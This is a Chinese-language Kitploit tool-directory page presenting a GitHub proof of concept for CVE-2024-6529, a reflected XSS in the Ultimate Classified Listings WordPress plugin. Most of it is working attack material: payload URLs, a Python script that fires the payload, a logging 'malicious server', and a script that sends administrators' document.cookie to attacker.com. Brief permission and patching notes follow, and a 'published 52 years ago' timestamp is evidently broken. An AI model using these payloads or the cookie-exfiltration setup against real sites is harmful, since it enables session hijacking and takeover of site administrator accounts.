Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-6529 — 概念验证脚本,演示 Ultimate Classified Listings WordPress 插件中的反射型 XSS,以及通过构造的载荷和日志服务器窃取管理员 Cookie。 | Kitploit
工具/GitHubGitHub/abdurahmon3236/cve-2024-6529
漏洞分析漏洞利用Web应用程序漏洞利用钓鱼攻击渗透测试社会工程学
GitHubabdurahmon3236/cve-2024-6529

CVE-2024-6529

概念验证脚本,演示 Ultimate Classified Listings WordPress 插件中的反射型 XSS,以及通过构造的载荷和日志服务器窃取管理员 Cookie。

查看仓库
52年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

WordPress 插件漏洞的概念验证 (PoC)

此仓库包含针对在不同 WordPress 插件中发现的各种漏洞的概念验证 (PoC) 脚本。这些脚本展示了攻击者如何利用这些漏洞执行恶意操作。

目录

  • 涵盖的漏洞
  • 设置与使用
    • Ultimate Classified Listings 插件中的反射型 XSS
    • 利用 XSS 窃取 Cookie
  • 重要注意事项

涵盖的漏洞

  1. Ultimate Classified Listings 插件中的反射型跨站脚本 (XSS)

    • Ultimate Classified Listings WordPress 插件 1.4 版本之前存在漏洞,攻击者可通过未经过滤的参数注入恶意脚本,从而执行任意 JavaScript。
  2. 利用 XSS 窃取 Cookie

    • 演示攻击者如何利用反射型 XSS 漏洞窃取高权限用户(如管理员)的 Cookie,将其发送到恶意服务器。

设置与使用

Ultimate Classified Listings 插件中的反射型 XSS

此 PoC 演示如何利用 Ultimate Classified Listings 插件中的反射型 XSS 漏洞。

  1. 识别易受攻击的参数:

    • 假设易受攻击的参数是 URL http://example.com/classifieds 中的 search。
  2. 构造恶意 URL:

    • 恶意 URL 可以包含执行警报对话框的负载:
      root@kitploit:~
      http://example.com/classifieds?search=<script>alert('XSS')</script>
      
  3. 运行 PoC 脚本:

    • 将以下脚本保存为 xss_poc.py 并运行它。
    root@kitploit:~
    import requests
    
    # Configuration
    target_url = "http://example.com/classifieds"  # Change this to the target site's URL
    payload = "<script>alert('XSS')</script>"  # XSS payload
    
    def trigger_xss():
        # Construct the malicious URL
        malicious_url = f"{target_url}?search={payload}"
    
        # Send a GET request to the malicious URL
        response = requests.get(malicious_url)
    
        # Check if the payload is reflected in the response
        if payload in response.text:
            print("[+] XSS payload reflected in the response.")
            print("[+] Malicious URL:", malicious_url)
        else:
            print("[-] XSS payload not reflected in the response.")
    
    if __name__ == "__main__":
        trigger_xss()
    

利用 XSS 窃取 Cookie

此 PoC 演示攻击者如何利用反射型 XSS 漏洞窃取高权限用户的 Cookie。

  1. 设置恶意服务器:

    • 将以下脚本保存为 malicious_server.py 并运行它,以启动一个记录传入请求(包括 Cookie)的服务器。
    root@kitploit:~
    from http.server import BaseHTTPRequestHandler, HTTPServer
    import logging
    
    class RequestHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            logging.info(f"Received request: {self.headers}")
            self.send_response(200)
            self.end_headers()
    
    def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
        logging.basicConfig(filename='server.log', level=logging.INFO)
        server_address = ('', port)
        httpd = server_class(server_address, handler_class)
        logging.info(f'Starting server on port {port}...')
        httpd.serve_forever()
    
    if __name__ == "__main__":
        run()
    
  2. 构造窃取 Cookie 的负载:

    • 创建一个将管理员 Cookie 发送到恶意服务器的负载:
      root@kitploit:~
      http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
      
  3. 运行 PoC 脚本:

    • 将以下脚本保存为 steal_cookies_poc.py 并运行它。
    root@kitploit:~
    import requests
    
    # Configuration
    target_url = "http://example.com/classifieds"  # Change this to the target site's URL
    attacker_server = "http://attacker.com:8080"  # Change this to your malicious server's URL
    payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
    
    def trigger_xss():
        # Construct the malicious URL
        malicious_url = f"{target_url}?search={payload}"
    
        # Send a GET request to the malicious URL
        response = requests.get(malicious_url)
    
        # Check if the payload is reflected in the response
        if payload in response.text:
            print("[+] XSS payload reflected in the response.")
            print("[+] Malicious URL:", malicious_url)
        else:
            print("[-] XSS payload not reflected in the response.")
    
    if __name__ == "__main__":
        trigger_xss()
    

重要注意事项

  • 权限:确保已获得明确许可才能在目标站点上测试这些漏洞。未经授权的访问是非法的且不道德。
  • 测试环境:在受控环境中执行这些测试,以避免对生产系统造成影响。
  • 缓解措施:将 Ultimate Classified Listings 插件更新至 1.4 或更高版本。在输出中包含用户输入之前,始终对其进行清理和转义。

这些 PoC 演示了攻击者如何利用 WordPress 插件中的漏洞执行恶意操作。始终保持软件更新并遵循安全最佳实践,以防止此类漏洞。

下载工具